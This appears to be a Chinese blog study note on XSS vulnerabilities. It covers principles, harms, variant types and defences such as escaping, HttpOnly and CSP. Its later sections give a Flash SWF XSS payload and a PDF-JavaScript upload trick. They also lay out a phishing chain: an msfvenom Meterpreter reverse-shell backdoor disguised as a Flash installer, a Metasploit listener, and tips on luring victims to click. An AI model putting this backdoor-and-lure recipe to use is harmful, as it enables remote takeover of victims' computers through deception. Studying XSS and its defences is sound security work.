XSS漏洞讲解
XSS基础
原理
指攻击者利用网站程序对用户输入过滤不足,输入可以显示在页面上对其他用户造成影响的HTML代码,从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。通过在用户端注入恶意的可执行脚本,若服务器对用户的输入不进行处理或处理不严,则浏览器就会直接执行用户注入的脚本。
-数据交互的地方
get、post、headers
反馈与浏览
富文本编辑器
各类标签插入和自定义
-数据输出的地方
用户资料
关键词、标签、说明
文件上传
危害
网络钓鱼,包括获取各类用户账号;
窃取用户cookies资料,从而获取用户隐私信息,或利用用户身份对网站执行操作;
劫持用户(浏览器)会话,从而执行任意操作,例如非法转账、发表日志、邮件等;
强制弹出广告页面、刷流量等;
网页挂马;
进行恶意操作,如任意篡改页面信息、删除文章等;
进行大量的客户端攻击,如ddos等;
获取客户端信息,如用户的浏览历史、真实ip、开放端口等;
控制受害者机器向其他网站发起攻击;
结合其他漏洞,如csrf,实施进一步危害;
提升用户权限,包括进一步渗透网站;
传播跨站脚本蠕虫等
类型
常见的xss类型
-
反射型(非持久型)
-
存储型(持久型)
-
DOM型
细分下来还有其他类型的xss
mXSS 突变型XSS
UXSS 通用型XSS
Flash XSS
UTF-7 XSS
MHTML XSS
CSS XSS
VBScript XSS
Flashxss-swf
pdf-xss
其中UTF-7、MHTML XSS、CSS XSS、VBScript XSS 只在低版本的IE中可以生效,现在应该基本不可见
uxss这个文章讲的很详细
防御
XSS 攻击有两大要素:
- 攻击者提交恶意代码。
- 浏览器执行恶意代码。
根本的解决方法:从输入到输出都需要过滤、转义。
过滤函数&http_only&CSP&长度限制
1、过滤一些危险字符,以及转义& < > " ' 等危险字符
自定义过滤函数引用
2、HTTP-only Cookie
设置httponly
php.ini设置或代码引用
session.cookie_httponly =1
ini_set("session.cookie_httponly", 1);
3、设置CSP(Content Security Policy)
CSP策略控制
4、输入内容长度限制,实体转义等
漏洞讲解
Flashxss-swf
Flashxss-swf的漏洞讲解这是个英文界面我用翻译看着还行,各位英文大佬看懂的话讲解一下
Flashxss-swf引用js的xss
JPEXS Free Flash Decompiler
phpwind SWF反编译 Flashxss
ExternalInterface.call 执行JS代码
Payload:/res/js/dev/util_libs/jPlayer/Jplayer.swf?jQuery=alert(1))}catch(e){}//
PDF-xss
xss骚操作
PDFXSS-上传后直链触发
1、创建PDF,加入动作JS
2、通过文件上传获取直链
3、直链地址访问后被触发
具体操作可以看一看这个文章
用的工具很简单,迅捷pdf编辑器就行,介意水印的话通过技术手段整一个
需要一些JavaScript的基础,不过这难不到咱们圈子里面的人
这玩意有缺点啊
利用 JavaScript 进行攻击时只能使用 Adobe 所支持的功能
具体应用
XSS-Flash钓鱼配合MSF捆绑上线
-条件:beef上线受控后或直接钓鱼(受害者爱看SESE)
1、生成后门
msfvenom -p windows/meterpreter/reverse_tcp LHOST=xx.xx.xx.xx LPORT=6666 -f exe > flash.exe
2、下载官方文件-保证安装正常
3、压缩捆绑文件-解压提取运行
4、MSF配置监听状态
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 6666
run
5、诱使受害者访问URL-语言要适当
把页面做的更加吸引人去点击这个连接,那么受害者就很容易上当受骗
还可以自行搭建beef
BEEF项目地址嫌麻烦网上有好兄弟搭建的docker镜像,下载下来启动就行
个人总结
没JavaScript的基础稍微有点难,多敲两边也就行了
代码基础才是一切的根本啊
这个文章从开始讲xss很不错而且有一些练习地址

浙公网安备 33010602011771号